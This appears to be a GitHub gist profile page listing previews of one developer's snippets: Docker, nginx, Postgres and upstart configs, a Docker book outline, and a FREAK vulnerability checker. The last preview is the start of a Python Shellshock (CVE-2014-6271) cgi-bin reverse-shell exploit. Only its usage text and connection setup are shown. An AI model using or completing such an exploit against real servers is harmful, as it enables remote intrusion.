Skip to content

Instantly share code, notes, and snippets.

View infoslack's full-sized avatar
🏠
Working from home

Daniel Romero infoslack

🏠
Working from home
View GitHub Profile
@infoslack
infoslack / nginx.conf
Last active August 29, 2015 14:22 — forked from plentz/nginx.conf
# to generate your dhparam.pem file, run in the terminal
openssl dhparam -out /etc/nginx/ssl/dhparam.pem 2048
@infoslack
infoslack / postgres.md
Last active August 29, 2015 14:21
Postgres - trabalhando com users

Criar super usuário:

$ sudo -u postgres createuser --superuser $USER

Adicionar extensões:

$ sudo -u postgres psql template1 -c 'create extension if not exists "hstore"'
@infoslack
infoslack / sumario.md
Last active December 2, 2015 11:22
Livro de Docker
  1. Introdução
  • O que é Docker ?
  • O que diferencia um container de uma máquina virtual ?
  • O que são Namespaces ?
  • Para que serve o Cgroups ?
  • O que é Union file systems ?
  1. Explorando o Docker
  • Instalação
  • Hello, Docker!
@infoslack
infoslack / Dockerfile
Created April 9, 2015 02:29
Rails Dev Environment
FROM ruby:2.2.1
RUN apt-get update -qq && apt-get install -y \
build-essential \
nodejs \
postgresql-client
ENV APP_HOME /app
RUN mkdir $APP_HOME
WORKDIR $APP_HOME
@infoslack
infoslack / Dockerfile
Last active December 9, 2017 10:24
Run Telegram in a container - docker build -t infoslack/telegram .
# Run container
#
# docker run -v /tmp/.X11-unix:/tmp/.X11-unix \
# -v $(pwd)/.telegram:/root/Downloads/Telegram \
# -e DISPLAY=unix$DISPLAY \
# infoslack/telegram
#
FROM ubuntu:14.04
MAINTAINER Daniel Romero <[email protected]>
#!/usr/bin/env bash
# check_freak.sh
# (c) 2015 Martin Seener
# Simple script which checks SSL/TLS services for the FREAK vulnerability (CVE 2015-0204)
# It will output if the checked host is vulnerable and returns the right exit code
# so it can also be used as a nagios check!
PROGNAME=$(basename $0)
description "project api server config"
start on started project_name
stop on stopped project_name
pre-start script
mkdir -p /var/log/puma
chown www-data. /var/log/puma
mkdir -p /var/run/puma
@infoslack
infoslack / docker-inspect.json
Created October 23, 2014 00:59
Exemplo Docker Inspect
[{
"Args": [
"-g",
"daemon off;"
],
"Config": {
"AttachStderr": false,
"AttachStdin": false,
"AttachStdout": false,
"Cmd": [
@infoslack
infoslack / Dockerfile
Created October 8, 2014 05:26
Demo Docker on Rails
FROM ubuntu:trusty
# Update the repository
RUN apt-get update
# Install necessary tools
RUN apt-get install -y wget net-tools build-essential git
# Setup Install Nginx
RUN wget -q -O - http://nginx.org/keys/nginx_signing.key | apt-key add -
@infoslack
infoslack / cve-2014-6271.py
Last active April 5, 2019 14:45
CVE-2014-6271 cgi-bin reverse shell
# CVE-2014-6271 cgi-bin reverse shell
# Original: http://pastebin.com/raw.php?i=166f8Rjx
import httplib,urllib,sys
if (len(sys.argv)<3):
print "Usage: %s <host> <vulnerable CGI>" % sys.argv[0]
print "Example: %s localhost /cgi-bin/test.cgi" % sys.argv[0]
exit(0)
conn = httplib.HTTPConnection(sys.argv[1])